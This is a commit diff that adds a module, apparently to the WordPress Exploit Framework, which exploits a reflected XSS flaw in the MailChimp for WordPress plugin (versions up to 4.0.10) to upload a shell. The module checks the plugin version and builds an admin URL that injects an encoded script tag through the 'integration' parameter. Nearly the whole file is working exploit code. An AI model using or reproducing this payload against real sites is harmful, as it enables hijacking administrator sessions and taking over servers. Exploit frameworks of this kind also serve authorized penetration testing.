Add MailChimp for WordPress reflected XSS shell upload

Author: rastating

modules/exploits/mailchimp_for_wp_reflected_xss_shell_upload.rb

@@ -0,0 +1,31 @@
+class Wpxf::Exploit::MailchimpForWpReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'MailChimp for WordPress <= 4.0.10 Reflected XSS Shell Upload',
+      author: [
+        'Tom Adams',                      # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8695']
+      ],
+      date: 'Dec 09 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('mailchimp-for-wp', '4.0.11')
+  end
+
+  def url_with_xss
+    normalize_uri(
+      wordpress_url_admin,
+      'admin.php?page=mailchimp-for-wp-integrations&integration=">'\
+      "%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E"
+    )
+  end
+end